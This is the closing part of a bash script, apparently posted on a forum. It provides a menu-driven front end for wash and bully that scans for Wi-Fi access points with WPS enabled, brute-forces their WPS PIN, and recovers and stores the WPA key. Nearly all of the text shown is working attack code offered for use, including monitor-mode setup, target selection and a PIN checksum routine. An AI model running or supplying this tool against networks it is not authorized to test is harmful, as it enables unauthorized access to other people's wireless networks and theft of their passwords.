done # Obtain PIN and WPA Key obtener_clave_wpa # Saving PIN and key on a file salvar_clave_wpa } # Function that select target seleccionar_objetivo() { # If no target are found, cannot continue if [ ! "$(cat "$TMP/wash_scan.txt")" ]; then dialog --backtitle "$BACKTITLE" \ --title " We cannot continue " \ --ok-label "Back to menu" \ --msgbox "\nNo Target with WPS On has been found.\n " 0 0 menu fi # Creating menu to select target N=1 cat "$TMP/wash_scan.txt"|while read MAC CANAL PWR VER LOCK ESSID; do if [ "$LOCK" = "Yes" ]; then LOCK="Si"; fi echo "\"$N)\" \"$MAC $LOCK $CANAL $(($PWR+100)) $ESSID\" \\" N=$(($N+1)) done >"$TMP/menu_objetivos.txt" # Dialog to select target dialog --backtitle "$BACKTITLE" \ --title " SELECT TARGET " \ --cancel-label "Back to menu" \ --menu "\n BSSID Locked Canal PWR ESSID" 0 0 0 \ --file "$TMP/menu_objetivos.txt" \ 2>"$TMP/seleccion.txt" # If last command returns 0 value, back to menu if [ ! $? = 0 ]; then menu; fi # selecting bully parameters SELECCION=$(cat "$TMP/seleccion.txt") ESSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|cut -d' ' -f22-)" BSSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $2}')" CANAL="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $4}')" # Check if key has been obtained before if [ -e "$KEYS/$(echo "$BSSID"|tr ':' '-').txt" ]; then WPS_PIN="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "PIN WPS:"|awk '{print $3}')" CLAVE_WPA="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "CLAVE WPA:"|awk '{print $3}')" else obtener_clave_wpa fi # Back to menu menu } # Function that scan with wash searching targets that has WPS #On escanear_wps() { # If interface does not exist in monitor mode, # we call function seleccionar_interface. if [ -z "$INTERFACE_MON" -o ! "$(iwconfig 2>/dev/null|grep "^$INTERFACE_MON")" ]; then seleccionar_interface else # Check interface association comprobacion_interface_asociada fi # Dialog to input scan time dialog --backtitle "$BACKTITLE" \ --title " SEARCHING FOR TARGETS " \ --cancel-label "Back to menu" \ --max-input "2" \ --inputbox "\nInput scan time in seconds: \n " 0 0 \ 2>"$TMP/segundos.txt" # If last command does not return 0 value, back to menu if [ ! $? = 0 ]; then menu; fi # if a numeric value isn't inserted, cannot continue if [ ! "$(cat "$TMP/segundos.txt"|grep "^[0-9]*$")" ]; then dialog --backtitle "$BACKTITLE" \ --title " ERROR " \ --msgbox "\nMust insert a numeric value\n " 0 0 escanear_wps fi # Kill wash to avoid conflict killall wash >/dev/null 2>&1 # Scan with wash wash -i $INTERFACE_MON -C -D 2>/dev/null|tail -n +3|grep -v "^$" >"$TMP/wash_scan.txt" & # Dialog that show progress bar while scan N2=$(cat "$TMP/segundos.txt") N1=1 while [ ! $(($N1-1)) -eq $N2 ]; do PORCENT=$(($(($N1*100))/$N2)) echo $PORCENT sleep 1 N1=$(($N1+1)) done|\ dialog --backtitle "$BACKTITLE" \ --title " SEARCHING FOR TARGETS " \ --gauge "" 0 0 \ 2>/dev/null # When time is done,kill wash process killall wash >/dev/null 2>&1 sleep 1 # jump to target select seleccionar_objetivo } # function to select interface and put in monitor mode seleccionar_interface() { # If no wifi card has been found, cannot continue if [ ! "$(iwconfig 2>/dev/null|cut -d' ' -f1|grep -v "^$")" ]; then dialog --backtitle "$BACKTITLE" \ --title " WE CANNOT CONTINUE " \ --ok-label "Exit" \ --msgbox "\nNo Wifi card has been detected.\n " 0 0 exit 1 fi # Menu to select interface N=1 airmon-ng 2>/dev/null|egrep -v "^Interface|^$"|cut -d'-' -f1|\ while read INTERFACE CHIPSET MODELO DRIVER; do if [ "$(iwconfig 2>/dev/null|grep "^$INTERFACE"|grep -v "Mode:Monitor")" ]; then echo "\"$N\" \"$INTERFACE $CHIPSET $MODELO $DRIVER\" \\" N=$(($N+1)) fi done >"$TMP/menu_interfaces.txt" # dialog to select interface dialog --backtitle "$BACKTITLE" \ --title " SELECT INTERFACE " \ --cancel-label "Exit" \ --menu "\n Interface Chipset Driver" 0 0 0 \ --file "$TMP/menu_interfaces.txt" \ 2>"$TMP/seleccion.txt" # if dialog does not return 0 value, exit if [ ! $? = 0 ]; then exit 1; fi SELECCION="$(cat "$TMP/seleccion.txt")" INTERFACE="$(cat "$TMP/menu_interfaces.txt"|tr -d '"'|tr -d '\\'|grep ^$SELECCION|awk '{print $2}')" # check interface association comprobacion_interface_asociada # reboot interface driver to avoid conflicts reset_iface # put selected interface in monitor mode airmon-ng start $INTERFACE >"$TMP/log_airmon-ng.txt" 2>&1 # If error on interface monitor mode, we cannot continue if [ ! $? = 0 ]; then dialog --backtitle "$BACKTITLE" \ --title " ERROR " \ --ok-label "Exit" \ --textbox "$TMP/log_airmon-ng.txt" 0 0 reset_iface; exit 1 fi # defining interface in monitor mode INTERFACE_MON="$(cat "$TMP/log_airmon-ng.txt"|grep "monitor mode enabled"|tr -d ')'|awk '{print $5}')" dialog --backtitle "$BACKTITLE" \ --infobox "\nUsing $INTERFACE_MON in monitor mode\n " 0 0 sleep 2 } # Yeah Niroz was here, computePIN by ZaoChunsheng, C ported #to bash wps_pin_checksum() { acum=0 PIN_p2=0 while [ $pin -gt 0 ]; do acum=$(($acum + (3 * ($pin % 10)))) pin=$(($pin / 10)) acum=$(($acum + ($pin % 10))) pin=$(($pin / 10)) done result=$(((10 - ($acum % 10)) % 10)) PIN_p2=$(($result % 10000000)) } # main menu function menu() { # target info INFO_AP=" $(if [ "$ESSID" ] && [ "$BSSID" ] && [ "$CANAL" ]; then echo "\n\n TARGET INFO\n" echo " ************************************ \n" echo " ESSID: $ESSID\n" echo " BSSID: $BSSID\n" echo " Canál: $CANAL\n" if [ "$WPS_PIN" ] && [ "$CLAVE_WPA" ]; then echo " PIN WPS: $WPS_PIN\n" echo " Clave WPA: $CLAVE_WPA\n" echo " ************************************ \n\n" else echo " ************************************ \n\n" fi fi)" # Dialog with main menu options dialog --backtitle "$BACKTITLE" \ --title " MAIN MENU " \ --cancel-label "Exit" \ --menu "$INFO_AP\nSelect an option:" 0 0 0 \ "1)" "Scan targets" \ "2)" "Start brute force attack" \ "3)" "Check specific PIN" \ "4)" "Select another target" \ "5)" "Update Bully" \ 2>"$TMP/seleccion.txt" # if dialog does not return 0 value, exit if [ ! $? = 0 ]; then reset_iface; exit 1; fi # Depending on the option chosen, the corresponding function calls case $(cat "$TMP/seleccion.txt"|tr -d ')') in 1 ) escanear_wps;; 2 ) bully_wps;; 3 ) bully_wps --Pin;; 4 ) seleccionar_objetivo;; 5 ) bully_updater;; esac } # If you do not have root permissions, you can't continue if [ $(id -u) != 0 ]; then dialog --backtitle "$BACKTITLE" \ --title " CANNOT CONTINUE " \ --ok-label "Exit" \ --msgbox "\nTo use this script you need \ root permissions.\n " 0 0 exit 1 fi # if $TMP exists and isn't a folder, gets deleted if [ -e "$TMP" ] && [ ! -d "$TMP" ]; then rm -rf "$TMP"; fi # if $TMP does not exists, creates it if [ ! -d "$TMP" ]; then mkdir -p "$TMP"; fi # Start script showing main menu menu There you go, inform any errors please :3 thanks
